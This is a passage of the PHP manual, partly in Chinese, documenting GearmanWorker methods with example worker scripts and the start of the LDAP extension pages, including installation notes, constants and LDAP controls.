  • GearmanWorker::options ?
  • PHP Manual
  • GearmanWorker
  • Get errno

GearmanWorker::getErrno

(PECL gearman >= 0.5.0)

GearmanWorker::getErrno — Get errno

说明

public GearmanWorker::getErrno(): int

Returns the value of errno in the case of a GEARMAN_ERRNO return value.

参数

此函数没有参数。

返回值

A valid errno.

参见

  • GearmanWorker::error() - Get the last error encountered

User Contributed Notes

There are no user contributed notes for this page.


Get worker options

  • ? GearmanWorker::getErrno
  • GearmanWorker::register ?
  • PHP Manual
  • GearmanWorker
  • Get worker options

GearmanWorker::options

(PECL gearman >= 0.6.0)

GearmanWorker::options — Get worker options

说明

public GearmanWorker::options(): int

Gets the options previously set for the worker.

参数

此函数没有参数。

返回值

The options currently set for the worker.

参见

  • GearmanWorker::setOptions() - Set worker options

User Contributed Notes

There are no user contributed notes for this page.


Register a function with the job server

  • ? GearmanWorker::options
  • GearmanWorker::removeOptions ?
  • PHP Manual
  • GearmanWorker
  • Register a function with the job server

GearmanWorker::register

(PECL gearman >= 0.6.0)

GearmanWorker::register — Register a function with the job server

说明

public GearmanWorker::register(string $function_name, int $timeout = 0): bool

Registers a function name with the job server with an optional timeout. The timeout specifies how many seconds the server will wait before marking a job as failed. If the timeout is set to zero, there is no timeout.

参数

function_name

The name of a function to register with the job server

timeout

An interval of time in seconds

返回值

A standard Gearman return value.

参见

  • GearmanWorker::unregister() - Unregister a function name with the job servers
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Remove worker options

  • ? GearmanWorker::register
  • GearmanWorker::returnCode ?
  • PHP Manual
  • GearmanWorker
  • Remove worker options

GearmanWorker::removeOptions

(PECL gearman >= 0.6.0)

GearmanWorker::removeOptions — Remove worker options

说明

public GearmanWorker::removeOptions(int $option): true

Removes (unsets) one or more worker options.

参数

option

The options to be removed (unset)

返回值

总是返回 true。

参见

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::setOptions() - Set worker options
  • GearmanWorker::addOptions() - Add worker options

User Contributed Notes

There are no user contributed notes for this page.


Get last Gearman return code

  • ? GearmanWorker::removeOptions
  • GearmanWorker::setId ?
  • PHP Manual
  • GearmanWorker
  • Get last Gearman return code

GearmanWorker::returnCode

(PECL gearman >= 0.5.0)

GearmanWorker::returnCode — Get last Gearman return code

说明

public GearmanWorker::returnCode(): int

Returns the last Gearman return code.

参数

此函数没有参数。

返回值

A valid Gearman return code.

参见

  • GearmanWorker::error() - Get the last error encountered
  • GearmanWorker::getErrno() - Get errno

User Contributed Notes

There are no user contributed notes for this page.


Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers

  • ? GearmanWorker::returnCode
  • GearmanWorker::setOptions ?
  • PHP Manual
  • GearmanWorker
  • Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers

GearmanWorker::setId

(No version information available, might only be in Git)

GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers

说明

public GearmanWorker::setId(string $id): bool

Assigns the worker an identifier.

参数

id

A string identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 GearmanWorker::setId() example

Set an identifier for a simple worker.

<?php
$worker= new GearmanWorker();
$worker->setId('test');
?>

以上示例的输出类似于：

Run the following command:
gearadmin --workers

Output:
30 ::3a3a:3361:3361:3a33%976303667 - : test

User Contributed Notes

zymspy at 163 dot com 05-Dec-2014 07:14
Example #1 is wrong
The Output is nearly like:
[no] [IP] [ID] : [function_name] [function_name] ...

Such as:
73 127.0.0.1 collect : ping_collect snmp_collect


Set worker options

  • ? GearmanWorker::setId
  • GearmanWorker::setTimeout ?
  • PHP Manual
  • GearmanWorker
  • Set worker options

GearmanWorker::setOptions

(PECL gearman >= 0.5.0)

GearmanWorker::setOptions — Set worker options

说明

public GearmanWorker::setOptions(int $option): true

Sets one or more options to the supplied value.

参数

option

The options to be set

返回值

总是返回 true。

参见

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::addOptions() - Add worker options
  • GearmanWorker::removeOptions() - Remove worker options
  • GearmanClient::setOptions() - Set client options

User Contributed Notes

There are no user contributed notes for this page.


Set socket I/O activity timeout

  • ? GearmanWorker::setOptions
  • GearmanWorker::timeout ?
  • PHP Manual
  • GearmanWorker
  • Set socket I/O activity timeout

GearmanWorker::setTimeout

(PECL gearman >= 0.6.0)

GearmanWorker::setTimeout — Set socket I/O activity timeout

说明

public GearmanWorker::setTimeout(int $timeout): true

Sets the interval of time to wait for socket I/O activity.

参数

timeout

An interval of time in milliseconds. A negative value indicates an infinite timeout.

返回值

总是返回 true。

示例

Example #1 A simple worker with a 5 second timeout

<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

# Set the timeout to 5 seconds
$gmworker->setTimeout(5000);

echo "Waiting for job...\n";
while(@$gmworker->work() || $gmworker->returnCode() == GEARMAN_TIMEOUT)
{
if ($gmworker->returnCode() == GEARMAN_TIMEOUT)
{
# Normally one would want to do something useful here ...
echo "Timeout. Waiting for next job...\n";
continue;
}

if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

echo "Done\n";

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

Running the worker with no submitted jobs will generate output that looks like the following:

Starting
Waiting for job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...

参见

  • GearmanWorker::timeout() - Get socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Get socket I/O activity timeout

  • ? GearmanWorker::setTimeout
  • GearmanWorker::unregister ?
  • PHP Manual
  • GearmanWorker
  • Get socket I/O activity timeout

GearmanWorker::timeout

(PECL gearman >= 0.6.0)

GearmanWorker::timeout — Get socket I/O activity timeout

说明

public GearmanWorker::timeout(): int

Returns the current time to wait, in milliseconds, for socket I/O activity.

参数

此函数没有参数。

返回值

A time period is milliseconds. A negative value indicates an infinite timeout.

参见

  • GearmanWorker::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Unregister a function name with the job servers

  • ? GearmanWorker::timeout
  • GearmanWorker::unregisterAll ?
  • PHP Manual
  • GearmanWorker
  • Unregister a function name with the job servers

GearmanWorker::unregister

(PECL gearman >= 0.6.0)

GearmanWorker::unregister — Unregister a function name with the job servers

说明

public GearmanWorker::unregister(string $function_name): bool

Unregisters a function name with the job servers ensuring that no more jobs (for that function) are sent to this worker.

参数

function_name

The name of a function to register with the job server

返回值

A standard Gearman return value.

参见

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Unregister all function names with the job servers

  • ? GearmanWorker::unregister
  • GearmanWorker::wait ?
  • PHP Manual
  • GearmanWorker
  • Unregister all function names with the job servers

GearmanWorker::unregisterAll

(PECL gearman >= 0.6.0)

GearmanWorker::unregisterAll — Unregister all function names with the job servers

说明

public GearmanWorker::unregisterAll(): bool

Unregisters all previously registered functions, ensuring that no more jobs are sent to this worker.

参数

此函数没有参数。

返回值

A standard Gearman return value.

参见

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregister() - Unregister a function name with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Wait for activity from one of the job servers

  • ? GearmanWorker::unregisterAll
  • GearmanWorker::work ?
  • PHP Manual
  • GearmanWorker
  • Wait for activity from one of the job servers

GearmanWorker::wait

(PECL gearman >= 0.6.0)

GearmanWorker::wait — Wait for activity from one of the job servers

说明

public GearmanWorker::wait(): bool

Causes the worker to wait for activity from one of the Gearman job servers when operating in non-blocking I/O mode. On failure, issues a E_WARNING with the last Gearman error encountered.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Running worker in non-blocking mode

<?php

echo "Starting\n";

# Create our worker object
$worker= new GearmanWorker();

# Make the worker non-blocking
$worker->addOptions(GEARMAN_WORKER_NON_BLOCKING);

# Add the default server (localhost, port 4730)
$worker->addServer();

# Add our reverse function
$worker->addFunction('reverse', 'reverse_fn');

# Try to grab a job
while (@$worker->work() ||
$worker->returnCode() == GEARMAN_IO_WAIT ||
$worker->returnCode() == GEARMAN_NO_JOBS)
{
if ($worker->returnCode() == GEARMAN_SUCCESS)
continue;

echo "Waiting for next job...\n";
if (!@$worker->wait())
{
if ($worker->returnCode() == GEARMAN_NO_ACTIVE_FDS)
{
# We are not connected to any servers, so wait a bit before
# trying to reconnect.
sleep(5);
continue;
}
break;
}
}

echo "Worker Error: " . $worker->error() . "\n";

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

参见

  • GearmanWorker::work() - Wait for and perform jobs

User Contributed Notes

There are no user contributed notes for this page.


Wait for and perform jobs

  • ? GearmanWorker::wait
  • GearmanException ?
  • PHP Manual
  • GearmanWorker
  • Wait for and perform jobs

GearmanWorker::work

(PECL gearman >= 0.5.0)

GearmanWorker::work — Wait for and perform jobs

说明

public GearmanWorker::work(): bool

Waits for a job to be assigned and then calls the appropriate callback function. Issues an E_WARNING with the last Gearman error if the return code is not one of GEARMAN_SUCCESS, GEARMAN_IO_WAIT, or GEARMAN_WORK_FAIL.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 GearmanWorker::work() example

<?php

# create the worker
$worker = new GearmanWorker();

# add the default job server (localhost)
$worker->addServer();

# add the reverse function
$worker->addFunction("reverse", "my_reverse_function");

# start te worker listening for job submissions
while ($worker->work());

function my_reverse_function($job)
{
return strrev($job->workload());
}

?>

参见

  • GearmanWorker::addFunction() - Register and add callback function

User Contributed Notes

There are no user contributed notes for this page.


The GearmanException class

(PECL gearman >= 0.5.0)

简介

类摘要

/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Lightweight Directory Access Protocol

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Using the PHP LDAP calls
  • LDAP controls
  • 示例
    • Basic usage
    • LDAP Controls
  • LDAP 函数
    • ldap_8859_to_t61 — Translate 8859 characters to t61 characters
    • ldap_add_ext — Add entries to LDAP directory
    • ldap_add — Add entries to LDAP directory
    • ldap_bind_ext — Bind to LDAP directory
    • ldap_bind — 绑定 LDAP 目录
    • ldap_close — 别名 ldap_unbind
    • ldap_compare — Compare value of attribute found in entry specified with DN
    • ldap_connect_wallet — Connect to an LDAP server
    • ldap_connect — Connect to an LDAP server
    • ldap_control_paged_result_response — Retrieve the LDAP pagination cookie
    • ldap_control_paged_result — Send LDAP pagination control
    • ldap_count_entries — Count the number of entries in a search
    • ldap_count_references — Counts the number of references in a search result
    • ldap_delete_ext — Delete an entry from a directory
    • ldap_delete — Delete an entry from a directory
    • ldap_dn2ufn — Convert DN to User Friendly Naming format
    • ldap_err2str — Convert LDAP error number into string error message
    • ldap_errno — Return the LDAP error number of the last LDAP command
    • ldap_error — Return the LDAP error message of the last LDAP command
    • ldap_escape — Escape a string for use in an LDAP filter or DN
    • ldap_exop_passwd — PASSWD extended operation helper
    • ldap_exop_refresh — Refresh extended operation helper
    • ldap_exop_sync — Performs an extended operation
    • ldap_exop_whoami — WHOAMI extended operation helper
    • ldap_exop — Performs an extended operation
    • ldap_explode_dn — Splits DN into its component parts
    • ldap_first_attribute — Return first attribute
    • ldap_first_entry — Return first result id
    • ldap_first_reference — Return first reference
    • ldap_free_result — Free result memory
    • ldap_get_attributes — Get attributes from a search result entry
    • ldap_get_dn — Get the DN of a result entry
    • ldap_get_entries — Get all result entries
    • ldap_get_option — Get the current value for given option
    • ldap_get_values_len — Get all binary values from a result entry
    • ldap_get_values — Get all values from a result entry
    • ldap_list — Single-level search
    • ldap_mod_add_ext — Add attribute values to current attributes
    • ldap_mod_add — Add attribute values to current attributes
    • ldap_mod_del_ext — Delete attribute values from current attributes
    • ldap_mod_del — Delete attribute values from current attributes
    • ldap_mod_replace_ext — Replace attribute values with new ones
    • ldap_mod_replace — Replace attribute values with new ones
    • ldap_modify_batch — Batch and execute modifications on an LDAP entry
    • ldap_modify — 别名 ldap_mod_replace
    • ldap_next_attribute — Get the next attribute in result
    • ldap_next_entry — Get next result entry
    • ldap_next_reference — Get next reference
    • ldap_parse_exop — Parse result object from an LDAP extended operation
    • ldap_parse_reference — Extract information from reference entry
    • ldap_parse_result — Extract information from result
    • ldap_read — Read an entry
    • ldap_rename_ext — Modify the name of an entry
    • ldap_rename — Modify the name of an entry
    • ldap_sasl_bind — Bind to LDAP directory using SASL
    • ldap_search — Search LDAP tree
    • ldap_set_option — Set the value of the given option
    • ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing
    • ldap_sort — Sort LDAP result entries on the client side
    • ldap_start_tls — Start TLS
    • ldap_t61_to_8859 — Translate t61 characters to 8859 characters
    • ldap_unbind — Unbind from LDAP directory
  • LDAP\Connection — The LDAP\Connection class
  • LDAP\Result — The LDAP\Result class
  • LDAP\ResultEntry — The LDAP\ResultEntry class

User Contributed Notes

There are no user contributed notes for this page.


简介

LDAP is the Lightweight Directory Access Protocol, and is a protocol used to access "Directory Servers". The Directory is a special kind of database that holds information in a tree structure.

The concept is similar to your hard disk directory structure, except that in this context, the root directory is "The world" and the first level subdirectories are "countries". Lower levels of the directory structure contain entries for companies, organisations or places, while yet lower still we find directory entries for people, and perhaps equipment or documents.

To refer to a file in a subdirectory on your hard disk, you might use something like:

   /usr/local/myapp/docs

The forwards slash marks each division in the reference, and the sequence is read from left to right.

The equivalent to the fully qualified file reference in LDAP is the "distinguished name", referred to simply as "dn". An example dn might be:

   cn=John Smith,ou=Accounts,o=My Company,c=US

The comma marks each division in the reference, and the sequence is read from right to left. You would read this dn as:

   country = US
   organization = My Company
   organizationalUnit = Accounts
   commonName = John Smith

In the same way as there are no hard rules about how you organise the directory structure of a hard disk, a directory server manager can set up any structure that is meaningful for the purpose. However, there are some conventions that are used. The message is that you can not write code to access a directory server unless you know something about its structure, any more than you can use a database without some knowledge of what is available.

Lots of information about LDAP can be found at

  • » Mozilla

  • » OpenLDAP Project

  • Internet Engineering Taskforce RFCs » 4510 through » 4519.

The Netscape SDK contains a helpful » Programmer's Guide in HTML format.

User Contributed Notes

There are no user contributed notes for this page.


需求

You will need to get and compile LDAP client libraries from either » OpenLDAP or » Bind9.net in order to compile PHP with LDAP support. For PHP 5.6 or newer you will need OpenLDAP 2.4 or newer.

User Contributed Notes

There are no user contributed notes for this page.


安装

LDAP support in PHP is not enabled by default. You will need to use the --with-ldap[=DIR] configuration option when compiling PHP to enable LDAP support. DIR is the LDAP base install directory. To enable SASL support, be sure --with-ldap-sasl[=DIR] is used, and that sasl.h exists on the system.

Note: Note to Win32 Users

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： libeay32.dll and ssleay32.dll, or, as of OpenSSL 1.1 libcrypto-*.dll and libssl-*.dll

In order to use Oracle LDAP libraries, proper Oracle environment has to be set.

User Contributed Notes

p38fln at msn dot com 21-Jun-2019 05:40
On newer versions of Windows and Windows Server, if you've installed PHP from the Microsoft Web Platform Installer (PI) then all you have to do is add extension=php_ldap.dll to the extensions section and restart IIS.
chealer at gmail dot com 30-Jun-2015 09:44
Users of the "WAMP Server" software need to enter PHP's path... as the documentation says. Although apache\apache[...]\bin\ also contains the files mentioned, this does not suffice for some reason.
For me, the path is C:\wamp\bin\php\php5.5.12
Anonymous 15-Jun-2015 08:19
OCI client from Oracle distributes un ldap.h which may collision with the SO ldap.h.
You can, remove the Oracle ldap.h and build or configure php without oci8 and then add OCI8 later as a shared extension.
This latter step is easiest using PECL: pecl install oci8. You will then need to add 'extension=oci8.so' to your php.ini.
Cojak 23-Jan-2015 05:54
Runing in IIS 8.5 on Server 2012 R2 I tried to install PHP Manager same as nesbittp needed to install Dot Net 3.5 and HTTP Activation first then installed without issue.
silver dot alecs at yahoo dot com 27-Mar-2014 01:00
The easiest way to install ldap extension on Ubuntu 12.04 is:

sudo apt-get install php5-ldap

Also don't forget to laod the extension.
nesbittp 07-Mar-2014 12:29
To enable PHP LDAP for IIS, I installed PHP Manager which integrates with IIS. Open this up and you can enable/disable extensions. Enable php_ldap.dll and it works straight away.
tomasz() trejderowski!pl 26-Feb-2014 01:32
I can confirm Frank's note (made 1 year ago, see below) about requirement of "libsasl.dll" library. I have "PHP Version 5.4.7" and my Apache fails to restart with error saying, that "libsasl.dll" is missing, once I enable php_ldap.dll extension in PHP configuration.

What is even more strange, I DO HAVE this library (along with required "ssleay32.dll" and "libeay32.dll" in my PHP's directory and my PHP's directory IS listed in Windows' PATH variable and even so, I'm facing the problem of Apache failing to start.

The only workaround, I found is to copy "libsasl.dll" to "system32" system directory. Solution, that PHP documentation here discourages.

So, to summarize, section "Note to Win32 users" is twice wrong. You DO have to have "libsasl.dll" directory and you have to place it in your system folder.
Frank 18-Dec-2012 07:12
I found not only "Versions before PHP 4.3.0 additionally require libsasl.dll.".

If you use php-5.3.3-Win32-VC9-x86 or later Versions that
It's require libsasl.dll.

Running under Windows & Apache 2.2.8
PHP file is download from http://windows.php.net/downloads/releases/archives/

When I use php-5.2.x-Win32-VC6-x86 and php-5.3.x-Win32-VC6-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,it's ok

When I use php-5.3.x-Win32-VC9-x86 and php-5.4.x-Win32-VC9-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,always fail...
(only php-5.3.1-Win32-VC9-x86 & php-5.3.2-Win32-VC9-x86 is ok. )

[php-5.3.3-Win32-VC9-x86 or later Versions]
1.just uncomment extension=php_ldap.dll  in php.ini
2.copy  libsasl.dll to [apache folder]\bin
3.Restart apache,it's ok
msuzer 31-Jan-2012 07:51
If using a debian machine (debian or ubuntu variants) just do apt-get install php5-ldap, that's all to get ldap work on php. No need to get sources, try to compiling them and  so on.
kirk dot kerr at arcusfm dot com 10-Jan-2011 04:54
It seems that the php 5.3 windows installer does not install the ldap.dll to the hard drive as standard - during the install process i had to specifically request that it was installed.
tom at wheelercreek dot com 27-Apr-2009 10:23
Sorry - I was referring to "php_ldap.dll", not php_lamp.dll
tom at wheelercreek dot com 24-Apr-2009 03:57
If you're running on Windows XP with Apache, and you installed PHP 5 from the windows installer rather than the full zipped version - you may not have the php_ldap.dll file.

I had to follow the steps above, making sure PHP was added to my Windows Path, adding the 2 dll files to the system32 directory, also making sure the php.ini extensions directory was set correctly (in my case: C:\Program Files\PHP\ext).

Still was a getting a message about not being able to locate the "php_lamp.dll" file.  I finally went back, downloaded the full .zip file of latest PHP version, and that missing dll file is included there - along with many others.

Remember to restart Apache server after you do all this.
Steve 06-Aug-2008 11:03
Running under IIS, I found php_ldap would not load even though d:\php contained libeay32.dll and ssleay32.dll, and d:\php was in the PATH environment variable.

I finally tracked this down to the position of d:\php in the PATH.  If d:\php is near the head of the PATH, everything works fine.  If d:\php is near the end of the PATH, apparently it gets ignored by IIS (even though it works fine from the command line, e.g., with php -m).  Have no idea why this is.
Anonymous 26-May-2008 04:15
Running under IIS, I did not find the need to download and compile libraries.

1. Edit PHP.INI (which should be in windows directory)
2. Uncomment the line extension=php_ldap.dll
3. Restart IIS


运行时配置

这些函数的行为受 php.ini 中的设置影响。

LDAP configuration options
名字 | 默认 | 可修改范围 | 更新日志
ldap.max_links | "-1" | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

ldap.max_links int

The maximum number of LDAP connections per process.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

Prior to PHP 8.1.0, most LDAP functions operate on or return resources (e.g. ldap_connect() returns a positive LDAP link identifier required by most LDAP functions).

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

LDAP_DEREF_NEVER (int)
Alias dereferencing rule - Never.
LDAP_DEREF_SEARCHING (int)
Alias dereferencing rule - Searching.
LDAP_DEREF_FINDING (int)
Alias dereferencing rule - Finding.
LDAP_DEREF_ALWAYS (int)
Alias dereferencing rule - Always.
LDAP_OPT_DEREF (int)
Specifies alternative rules for following aliases at the server.
LDAP_OPT_SIZELIMIT (int)

Specifies the maximum number of entries that can be returned on a search operation.

Note: The actual size limit for operations is also bounded by the server's configured maximum number of return entries. The lesser of these two settings is the actual size limit.

LDAP_OPT_TIMELIMIT (int)
Specifies the number of seconds to wait for search results.

Note: The actual time limit for operations is also bounded by the server's configured maximum time. The lesser of these two settings is the actual time limit.

LDAP_OPT_NETWORK_TIMEOUT (int)
Option for ldap_set_option() to allow setting network timeout. (Available as of PHP 5.3.0)
LDAP_OPT_PROTOCOL_VERSION (int)
Specifies the LDAP protocol to be used (V2 or V3).
LDAP_OPT_ERROR_NUMBER (int)
Latest session error number.
LDAP_OPT_REFERRALS (int)
Specifies whether to automatically follow referrals returned by the LDAP server.
LDAP_OPT_RESTART (int)
Determines whether or not the connection should be implicitly restarted.
LDAP_OPT_HOST_NAME (int)
Sets/gets a space-separated of hosts when trying to connect.
LDAP_OPT_ERROR_STRING (int)
Alias of LDAP_OPT_DIAGNOSTIC_MESSAGE.
LDAP_OPT_DIAGNOSTIC_MESSAGE (int)
Gets the latest session error message.
LDAP_OPT_MATCHED_DN (int)
Sets/gets the matched DN associated with the connection.
LDAP_OPT_SERVER_CONTROLS (int)
Specifies a default list of server controls to be sent with each request.
LDAP_OPT_CLIENT_CONTROLS (int)
Specifies a default list of client controls to be processed with each request.
LDAP_OPT_DEBUG_LEVEL (int)
Specifies a bitwise level for debug traces.
LDAP_OPT_X_KEEPALIVE_IDLE (int)
Specifies the number of seconds a connection needs to remain idle before TCP starts sending keepalive probes.
LDAP_OPT_X_KEEPALIVE_PROBES (int)
Specifies the maximum number of keepalive probes TCP should send before dropping the connection.
LDAP_OPT_X_KEEPALIVE_INTERVAL (int)
Specifies the interval in seconds between individual keepalive probes.
LDAP_OPT_X_TLS_CACERTDIR (int)
Specifies the path of the directory containing CA certificates.
LDAP_OPT_X_TLS_CACERTFILE (int)
Specifies the full-path of the CA certificate file.
LDAP_OPT_X_TLS_CERTFILE (int)
Specifies the full-path of the certificate file.
LDAP_OPT_X_TLS_CIPHER_SUITE (int)
Specifies the allowed cipher suite.
LDAP_OPT_X_TLS_CRLCHECK (int)
Specifies the CRL evaluation strategy. This must be one of: LDAP_OPT_X_TLS_CRL_NONE,LDAP_OPT_X_TLS_CRL_PEER, LDAP_OPT_X_TLS_CRL_ALL.

Note: This option is only valid for OpenSSL.

LDAP_OPT_X_TLS_CRLFILE (int)
Specifies the full-path of the CRL file.

Note: This option is only valid for GnuTLS.

LDAP_OPT_X_TLS_DHFILE (int)
Specifies the full-path of the file containing the parameters for Diffie-Hellman ephemeral key exchange.

Note: This option is ignored by GnuTLS and Mozilla NSS.

LDAP_OPT_X_TLS_KEYFILE (int)
Specifies the full-path of the certificate key file.
LDAP_OPT_X_TLS_PROTOCOL_MIN (int)
Specifies the minimum protocol version. This can be one of: LDAP_OPT_X_TLS_PROTOCOL_SSL2,LDAP_OPT_X_TLS_PROTOCOL_SSL3, LDAP_OPT_X_TLS_PROTOCOL_TLS1_0, LDAP_OPT_X_TLS_PROTOCOL_TLS1_1, LDAP_OPT_X_TLS_PROTOCOL_TLS1_2
LDAP_OPT_X_TLS_RANDOM_FILE (int)
Sets/gets the random file when one of the system default ones are not available.
LDAP_OPT_X_TLS_REQUIRE_CERT (int)
Specifies the certificate checking strategy. This must be one of: LDAP_OPT_X_TLS_NEVER,LDAP_OPT_X_TLS_HARD, LDAP_OPT_X_TLS_DEMAND, LDAP_OPT_X_TLS_ALLOW, LDAP_OPT_X_TLS_TRY. (Available as of PHP 7.0.0)
GSLC_SSL_NO_AUTH (int)
SSL Authentication Mode - No authentication required. (Only for Oracle LDAP)
GSLC_SSL_ONEWAY_AUTH (int)
SSL Authentication Mode - Only server authentication required. (Only for Oracle LDAP)
GSLC_SSL_TWOWAY_AUTH (int)
SSL Authentication Mode - Both server and client authentication required. (Only for Oracle LDAP)
LDAP_EXOP_START_TLS (string)
Extended Operation constant - Start TLS (» RFC 4511).
LDAP_EXOP_MODIFY_PASSWD (string)
Extended Operation constant - Modify password (» RFC 3062).
LDAP_EXOP_REFRESH (string)
Extended Operation Constant - Refresh (» RFC 2589).
LDAP_EXOP_WHO_AM_I (string)
Extended Operation Constant - WHOAMI (» RFC 4532).
LDAP_EXOP_TURN (string)
Extended Operation Constant - Turn (» RFC 4531).
LDAP_CONTROL_MANAGEDSAIT (string)
Control Constant - Manage DSA IT (» RFC 3296). Available as of PHP 7.3.0.
LDAP_CONTROL_PROXY_AUTHZ (string)
Control Constant - Proxied Authorization (» RFC 4370). Available as of PHP 7.3.0.
LDAP_CONTROL_SUBENTRIES (string)
Control Constant - Subentries (» RFC 3672). Available as of PHP 7.3.0.
LDAP_CONTROL_VALUESRETURNFILTER (string)
Control Constant - Filter returned values (» RFC 3876). Available as of PHP 7.3.0.
LDAP_CONTROL_ASSERT (string)
Control Constant - Assertion (» RFC 4528). Available as of PHP 7.3.0.
LDAP_CONTROL_PRE_READ (string)
Control Constant - Pre read (» RFC 4527). Available as of PHP 7.3.0.
LDAP_CONTROL_POST_READ (string)
Control Constant - Post read (» RFC 4527). Available as of PHP 7.3.0.
LDAP_CONTROL_SORTREQUEST (string)
Control Constant - Sort request (» RFC 2891). Available as of PHP 7.3.0.
LDAP_CONTROL_SORTRESPONSE (string)
Control Constant - Sort response (» RFC 2891). Available as of PHP 7.3.0.
LDAP_CONTROL_PAGEDRESULTS (string)
Control Constant - Paged results (» RFC 2696). Available as of PHP 7.3.0.
LDAP_CONTROL_AUTHZID_REQUEST (string)
Control Constant - Authorization Identity Request (» RFC 3829). Available as of PHP 7.3.0.
LDAP_CONTROL_AUTHZID_RESPONSE (string)
Control Constant - Authorization Identity Response (» RFC 3829). Available as of PHP 7.3.0.
LDAP_CONTROL_SYNC (string)
Control Constant - Content Synchronization Operation (» RFC 4533). Available as of PHP 7.3.0.
LDAP_CONTROL_SYNC_STATE (string)
Control Constant - Content Synchronization Operation State (» RFC 4533). Available as of PHP 7.3.0.
LDAP_CONTROL_SYNC_DONE (string)
Control Constant - Content Synchronization Operation Done (» RFC 4533). Available as of PHP 7.3.0.
LDAP_CONTROL_DONTUSECOPY (string)
Control Constant - Don't Use Copy (» RFC 6171). Available as of PHP 7.3.0.
LDAP_CONTROL_PASSWORDPOLICYREQUEST (string)
Control Constant - Password Policy Request. Available as of PHP 7.3.0.
LDAP_CONTROL_PASSWORDPOLICYRESPONSE (string)
Control Constant - Password Policy Response. Available as of PHP 7.3.0.
LDAP_CONTROL_X_INCREMENTAL_VALUES (string)
Control Constant - Active Directory Incremental Values. Available as of PHP 7.3.0.
LDAP_CONTROL_X_DOMAIN_SCOPE (string)
Control Constant - Active Directory Domain Scope. Available as of PHP 7.3.0.
LDAP_CONTROL_X_PERMISSIVE_MODIFY (string)
Control Constant - Active Directory Permissive Modify. Available as of PHP 7.3.0.
LDAP_CONTROL_X_SEARCH_OPTIONS (string)
Control Constant - Active Directory Search Options. Available as of PHP 7.3.0.
LDAP_CONTROL_X_TREE_DELETE (string)
Control Constant - Active Directory Tree Delete. Available as of PHP 7.3.0.
LDAP_CONTROL_X_EXTENDED_DN (string)
Control Constant - Active Directory Extended DN. Available as of PHP 7.3.0.
LDAP_CONTROL_VLVREQUEST (string)
Control Constant - Virtual List View Request. Available as of PHP 7.3.0.
LDAP_CONTROL_VLVRESPONSE (string)
Control Constant - Virtual List View Response. Available as of PHP 7.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Using the PHP LDAP calls

Before you can use the LDAP calls you will need to know...

  • The name or address of the directory server you will use

  • The "base dn" of the server (the part of the world directory that is held on this server, which could be "o=My Company,c=US")

  • Whether you need a password to access the server (many servers will provide read access for an "anonymous bind" but require a password for anything else)

The typical sequence of LDAP calls you will make in an application will follow this pattern:

  ldap_connect()    // establish connection to server
     |
  ldap_bind()       // anonymous or authenticated "login"
     |
  do something like search or update the directory
  and display the results
     |
  ldap_close()      // "logout"

User Contributed Notes

There are no user contributed notes for this page.


LDAP controls

Controls are special objects which may be sent alongside an LDAP request to alter LDAP server behavior while performing the request. There may also be controls sent by the server alongside the response to provide more information, usually to answer a control object from the request.

Note:

Not all controls are supported by all LDAP servers. To know which controls are supported by a server, you need to query the root DSE by reading an empty dn with the filter (objectClass=*).

Example #1 Testing support for paged result control

<?php

// $ds is a valid link identifier for a directory server

$result = ldap_read($ds, '', '(objectClass=*)', ['supportedControl']);
if (!in_array(LDAP_CONTROL_PAGEDRESULTS, ldap_get_entries($ds, $result)[0]['supportedcontrol'])) {
die("This server does not support paged result control");
}

?>

As of PHP 7.3, you can send controls with your request in all request functions using the serverctrls parameter. When a ext version of a function exists, you should use it if you want to get access to the full response object and be able to parse response controls from it using ldap_parse_result().

serverctrls must be an array containing an array for each control to send, containing the following keys:

oid (string)
